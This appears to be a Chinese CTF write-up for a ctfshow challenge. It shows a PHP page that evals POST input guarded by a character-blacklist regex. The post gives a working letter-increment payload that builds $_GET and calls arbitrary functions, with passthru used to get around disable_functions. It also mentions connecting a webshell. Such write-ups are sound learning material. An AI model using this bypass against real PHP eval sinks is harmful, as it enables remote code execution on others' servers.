前两天做的ctfshow的吃瓜杯的题目,做一个记录。

开始

打开题目看到的是phpinfo的页面
然后往下一划艹
在这里插入图片描述
这可真是吓了一跳,这么多disable_functions函数
不过也是有惊喜的
在这里插入图片描述
cookie里面看到了提示。
然后打开看见了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {

phpinfo();
}
?>

这个正则真是绝了,md没有符号了都。
测试一下还有什么符号

1
2
3
4
5
6
7
<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/", chr($a))){
echo chr($a)." ";
}
}
?>

还有几个残留的

1
$ ( ) + , - . / 0 1 2 3 ; < = > ? C [ ] _ { }

一看就是无数字、字母、符号的rce绕过了
然后看了一圈之前的笔记

1
2
3
常用绕过基本都没有戏了
^ % * & @ ?
这六个扛把子的直接被干掉了。靠

然后又是一直没有什么结果。其实是想到只能是自增的方法拼凑字母的但是无奈没有理解自增的奥秘,一直没有拼出来还是错误的。
直到看到一篇文章

1
2
3
https://f5.pm/go-29700.html
https://ab-alex.github.io/2019/10/17/RCE提高篇
下面那一片才算值真正的启发,明白自增的原理

下图来自php官方手册
在这里插入图片描述
自增不只是能增数字还能增字符
在这里插入图片描述然后还是没有写出来。
直到这个wp出来

1
2
真是自己做的时候想来想起
一看答案就瞬间明白了

上wp

1
$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});

解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$_=C;  //C
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //$_GET

($$_{1})($$_{2}); ////$_GET{1} $_GET{2}

在这里插入图片描述
解释N的来源
在这里插入图片描述
解释:
在这里插入图片描述
2
在这里插入图片描述
这个小技巧我们不知道的话,我们可以用挨个自增的办法也是行的通的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$_=C;  //C
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_++; //H
$_++; //I
$_++; //J
$_++; //K
$_++; //L
$_++; //M
$_++; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R //在ascii码表里面u在t后面
$_=_.$C_.$C.++$_; //$_GET

($$_{1})($$_{2}); //$_GET{1} $_GET{2}

解释
在这里插入图片描述自增出来以后我们就可以进行上传了。
小tips

1
2
3
4
5
这里需要注意的是使用自增的方法的时候我们传参的时候需要先进行url的编码。
当然这里大家可能就会有疑惑了,url编码我们在传参的时候不是正则匹配不能出现%号吗,这
里的%为什么能够绕过呢。
其实啊,这里有个小细节,就是post和get方法传参的时候会将url编码的参数自动的进行URL的解码
上传的参数根本就不会出现%.

测试结果post
在这里插入图片描述
测试结果get
在这里插入图片描述
然后上传上去我们就能够执行命令了。
但是后面还有一点就是前面我们发现的phpinfo中有很多的过滤函数。我们没有办法执行系统的命令,
但是作者还是给我们留下了方法。
在这里插入图片描述
passthru函数并没有过滤
在这里插入图片描述
然后就能自由自在的执行命令了。
在这里插入图片描述
然后还可以直接的连马
在这里插入图片描述